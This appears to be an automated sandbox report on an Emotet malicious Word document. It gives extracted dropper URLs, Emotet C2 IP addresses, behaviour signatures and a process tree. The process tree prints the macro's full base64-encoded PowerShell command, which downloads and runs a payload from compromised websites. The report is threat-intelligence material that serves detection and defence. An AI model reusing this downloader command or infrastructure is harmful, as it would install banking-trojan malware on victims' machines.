Analysis
- max time kernel
135s - max time network
133s - platform
windows10_x64 - resource
win10v200722 - submitted
29/09/2020, 00:10
General
- Target emotet_e1_0debea2deb612b9b45d6c0d5436d8a10523ab340be98ce9c66f2ff4bfba49eb2_2020-09-29__000645516520._doc.doc
- Size 176KB
- Sample200929-4hs1htap1n
- SHA256 0debea2deb612b9b45d6c0d5436d8a10523ab340be98ce9c66f2ff4bfba49eb2
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://babyshop.webdungsan.com/wp-admin/n/
-
exe.dropper
http://nguyenlieuphachehanoi.com/wp-admin/kL/
-
exe.dropper
http://notesever.com/cgi-bin/Cfs/
-
exe.dropper
http://superbetprediction.com/js/Qo/
-
exe.dropper
http://pattanitkpark.com/gipe2h/iqt/
-
exe.dropper
http://www.xxdaytoy.top/wp-content/E/
-
exe.dropper
http://huaibangchina.com/kic3kc/c/
Extracted
Family
-
emotet
C2
-
128.92.203.42:80
-
37.187.161.206:8080
-
202.29.239.162:443
-
80.87.201.221:7080
-
190.188.245.242:80
-
12.163.208.58:80
-
213.197.182.158:8080
-
201.213.177.139:80
-
62.84.75.50:80
-
45.33.77.42:8080
-
185.183.16.47:80
-
78.249.119.122:80
-
177.129.17.170:443
-
51.15.7.189:80
-
152.169.22.67:80
-
119.106.216.84:80
-
109.169.12.78:80
-
51.15.7.145:80
-
219.92.13.25:80
-
190.117.79.209:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0debea2deb612b9b45d6c0d5436d8a10523ab340be98ce9c66f2ff4bfba49eb2_2020-09-29__000645516520._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABHAHQAZgB0AGEAYQBwAD0AKAAoACcATgB2AHUAJwArACcAZwBfAG0AJwApACsAJwBxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBwAHIATwBmAEkATABFAFwAYgBtAHcARQBUAFcANABcAGEANgBBAGUAeQBCAFEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQBgAFQAWQBQAFIAbwBgAFQATwBjAE8ATAAiACAAPQAgACgAJwB0ACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAgAHQAJwArACcAbABzACcAKQApADsAJABFAGkAMwAzADMAcgBmACAAPQAgACgAKAAnAEgAdABjACcAKwAnAGkAJwApACsAKAAnAGYAcgB3ACcAKwAnAHEAYgAnACkAKQA7ACQAQwA3ADAAaABnAGYAMwA9ACgAKAAnAE4AJwArACcAaQBsAHcAagAnACkAKwAnAGIAOAAnACkAOwAkAEIANgBjAGUAMgAwAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAagBRACcAKwAoACcAbwBCAG0AdwBlAHQAdwA0ACcAKwAnAGoAUQBvACcAKwAnAEEANgBhAGUAJwApACsAJwB5ACcAKwAoACcAYgBxAGoAUQAnACsAJwBvACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAYwBIAEEAcgBdADEAMAA2ACsAWwBjAEgAQQByAF0AOAAxACsAWwBjAEgAQQByAF0AMQAxADEAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABFAGkAMwAzADMAcgBmACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRADkAYgB4AHgAeQBwAD0AKAAnAFYAZQAnACsAKAAnAF8AJwArACcAaQBuADQAJwApACsAJwA5ACcAKQA7ACQASAA3AHkAaQBvAGMAZgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBjAGwASQBFAG4AdAA7ACQATAA1AHAAMgBvADMAZQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKwAnAGIAYQAnACkAKwAoACcAYgB5AHMAaABvAHAAJwArACcALgAnACkAKwAnAHcAJwArACcAZQBiACcAKwAoACcAZAB1ACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcAcwBhACcAKQArACgAJwBuAC4AYwAnACsAJwBvAG0ALwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkAG0AJwArACcAaQAnACsAJwBuAC8AbgAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG4AZwB1ACcAKwAnAHkAZQAnACsAJwBuACcAKQArACcAbAAnACsAKAAnAGkAZQB1AHAAJwArACcAaAAnACkAKwAoACcAYQAnACsAJwBjAGgAZQBoAGEAbgBvACcAKwAnAGkAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAvACcAKwAnAHcAJwArACgAJwBwACcAKwAnAC0AJwArACcAYQBkAG0AaQBuAC8AawAnACsAJwBMAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAA6AC8ALwBuACcAKwAnAG8AdABlACcAKwAnAHMAZQAnACkAKwAoACcAdgBlAHIALgBjACcAKwAnAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiACcAKQArACcAaQAnACsAKAAnAG4AJwArACcALwBDACcAKQArACgAJwBmAHMAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACcAcwAnACsAJwB1AHAAJwArACgAJwBlAHIAYgAnACsAJwBlAHQAJwApACsAKAAnAHAAcgBlACcAKwAnAGQAJwApACsAKAAnAGkAYwAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAnACsAJwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGoAcwAnACsAJwAvAFEAbwAvACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AcAAnACkAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcAbgBpAHQAJwApACsAKAAnAGsAJwArACcAcABhAHIAawAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGcAaQBwAGUAJwApACsAKAAnADIAaAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnAHEAdAAnACkAKwAnAC8AKgAnACsAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgB4ACcAKwAnAHgAJwApACsAKAAnAGQAYQAnACsAJwB5AHQAbwAnACkAKwAoACcAeQAuAHQAJwArACcAbwBwAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtAGMAbwAnACsAJwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAC8ARQAnACsAJwAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGgAdQBhACcAKwAnAGkAYgAnACkAKwAnAGEAJwArACcAbgBnACcAKwAoACcAYwBoAGkAJwArACcAbgAnACkAKwAoACcAYQAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvAGsAJwArACcAaQBjACcAKQArACgAJwAzAGsAYwAvACcAKwAnAGMALwAnACkAKQAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAHYAOAB0AHQAbABwAD0AKAAoACcASwAyACcAKwAnADYAaQAnACkAKwAoACcAdAB6ACcAKwAnAGsAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAHAANABmAHUAMwB3ACAAaQBuACAAJABMADUAcAAyAG8AMwBlACkAewB0AHIAeQB7ACQASAA3AHkAaQBvAGMAZgAuACIARABgAG8AYAB3AE4ATABvAGEARABmAGkAYABMAGUAIgAoACQASQBwADQAZgB1ADMAdwAsACAAJABCADYAYwBlADIAMABtACkAOwAkAEkAYQA2AHoAbwBvADQAPQAoACcATQAnACsAJwA1ACcAKwAoACcAbgBiACcAKwAnAGcAdQA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEIANgBjAGUAMgAwAG0AKQAuACIAbABgAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADMANAAzADAANwApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABCADYAYwBlADIAMABtACkAOwAkAFAAZAB5AGYAbgB3AG0APQAoACgAJwBRAGoAOAAnACsAJwA1AGgAdwAnACkAKwAnAGYAJwApADsAYgByAGUAYQBrADsAJABZADgAbQA5AGoAbQBlAD0AKAAnAE0AJwArACgAJwBiAHoAOQBuACcAKwAnAGoANgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA4ADAAdwB3ADcAOQA9ACgAKAAnAE4AZwAnACsAJwAzACcAKQArACcAZgAnACsAKAAnADcAJwArACcAdwBrACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Bmwetw4\A6aeybq\Htcifrwqb.exe"C:\Users\Admin\Bmwetw4\A6aeybq\Htcifrwqb.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Windows.Media.Speech\wmitomi.exe"C:\Windows\SysWOW64\Windows.Media.Speech\wmitomi.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/352-4-0x000001F0CDD29000-0x000001F0CDD2E000-memory.dmp
memory/352-5-0x000001F0CDD2E000-0x000001F0CDD33000-memory.dmp
memory/352-6-0x000001F0CDD29000-0x000001F0CDD2E000-memory.dmp
memory/352-0-0x00007FFE022C0000-0x00007FFE02986000-memory.dmp
memory/352-3-0x000001F0CDD2E000-0x000001F0CDD33000-memory.dmp
memory/352-2-0x000001F0CD91A000-0x000001F0CD964000-memory.dmp
memory/352-1-0x000001F0CD91A000-0x000001F0CD964000-memory.dmp
memory/1004-7-0x00007FFDFAB60000-0x00007FFDFB54C000-memory.dmp
memory/1004-8-0x0000015E68C70000-0x0000015E68C71000-memory.dmp
memory/1004-9-0x0000015E68E20000-0x0000015E68E21000-memory.dmp
memory/3316-14-0x00000000001F0000-0x0000000000200000-memory.dmp
memory/3316-13-0x00000000001D0000-0x00000000001E2000-memory.dmp